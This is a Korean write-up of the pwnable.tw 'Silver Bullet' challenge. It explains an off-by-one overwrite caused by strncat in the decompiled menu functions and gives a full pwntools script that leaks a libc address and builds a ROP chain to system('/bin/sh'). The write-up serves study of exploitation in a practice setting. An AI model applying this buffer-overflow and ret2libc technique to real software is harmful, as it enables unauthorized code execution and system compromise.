[pwnable.tw]Silver Bullet

3개 메뉴로 구성되어있는 바이너리다.

1번 메뉴를 보면 입력받은 걸 s에 저장한다.근데 존재하면 그냥 꺼집니다. 그리고 *(s+12)에는 사이즈를 저장한다.

int __cdecl create_bullet(char *s)
{
  size_t v2; // ST08_4

  if ( *s )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(s, 48u);
  v2 = strlen(s);
  printf("Your power is : %u\n", v2);
  *(s + 12) = v2;
  return puts("Good luck !!");
}

2번 메뉴에서는 추가로 더 값을 쓸 수 있다. 여기서 strncat이라는 함수를 사용해서 값을 이어붙일 수 있다. 그런데 48을 넘길 수는 없다.

int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(&s, 0, 48u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *(dest + 12) > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *(dest + 12));
  strncat(dest, &s, 48 - *(dest + 12));
  v3 = strlen(&s) + *(dest + 12);
  printf("Your new power is : %u\n", v3);
  *(dest + 12) = v3;
  return puts("Enjoy it !");
}

3번 메뉴인데 특이한점은 *(a1+48) 즉 사이즈만큼 계속 빼준다. *a2의 초기값은 2147483647이다.

signed int __cdecl beat(int a1, _DWORD *a2)
{
  signed int result; // eax

  if ( *a1 )
  {
    puts(">----------- Werewolf -----------<");
    printf(" + NAME : %s\n", a2[1]);
    printf(" + HP : %d\n", *a2);
    puts(">--------------------------------<");
    puts("Try to beat it .....");
    usleep(1000000u);
    *a2 -= *(a1 + 48);
    if ( *a2 <= 0 )
    {
      puts("Oh ! You win !!");
      result = 1;
    }
    else
    {
      puts("Sorry ... It still alive !!");
      result = 0;
    }
  }
  else
  {
    puts("You need create the bullet first !");
    result = 0;
  }
  return result;
}

strncat에서 off-by-one 취약점이 일어난다. 이 함수를 보면 a와b의 문자열을 합치는데 a뒤의 널바이트를 제거하고 b뒤에 널바이트를 붙인다. 1번 메뉴에서 47개를 입력하고 2번 메뉴에서 1개를 입력하면 널바이트가 추가된다. 48개 뒤에는 *(s+12)위치인데 이 위치에는 사이즈를 저장한다. 여기서 사이즈를 초기화 시킬 수 있다. 그러면 입력을 더 받을 수 있고 ROP가 가능하다.

puts를 leak해주고 main으로 돌아가려면 3번메뉴에서 main함수에서 return 1을 해줘서 다시 초기 main으로 돌아올 수 있다. 아까 했던거 처럼 똑같이해줘서 리턴을 원하는곳으로 갈 수 있으므로 원샷 날리던지 system함수로 쉘을 띄우면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./silver_bullet')
p = process('./silver_bullet')
p = remote('chall.pwnable.tw',10103)
#libc = e.libc
libc = ELF('./libc_32.so.6')
pebx = 0x08048475 # pop ebx ; ret

p.sendlineafter(':','1')
p.sendafter(':','A'*47)
p.sendlineafter(':','2')
p.sendafter(':','A')

# buf = 0x34 = 52
payload = 'A'*7 # 'A'*47 + A + '\x00' + 'A'*7 = 56
payload += p32(e.plt['puts']) + p32(pebx) + p32(e.got['puts']) # ret
payload += p32(e.symbols['main'])
p.sendlineafter(':','2')
p.sendafter(':',payload)

p.sendlineafter(':','3')
p.sendlineafter(':','3')

puts = u32(p.recvuntil('\xf7')[-4:])
log.info('puts : ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

p.sendlineafter(':','1')
p.sendafter(':','A'*47)
p.sendlineafter(':','2')
p.sendafter(':','A')

oneshot=[0x3a819,0x5f065,0x5f066]
payload2 = 'A'*7
#payload2 += p32(libc_base + 0x3a819) #one_shot
payload2 += p32(libc_base + libc.symbols['system']) + p32(pebx) + p32(libc_base + libc.search('/bin/sh\x00').next())
p.sendlineafter(':','2')
p.sendafter(':',payload2)

p.sendlineafter(':','3')
p.sendlineafter(':','3')

p.interactive()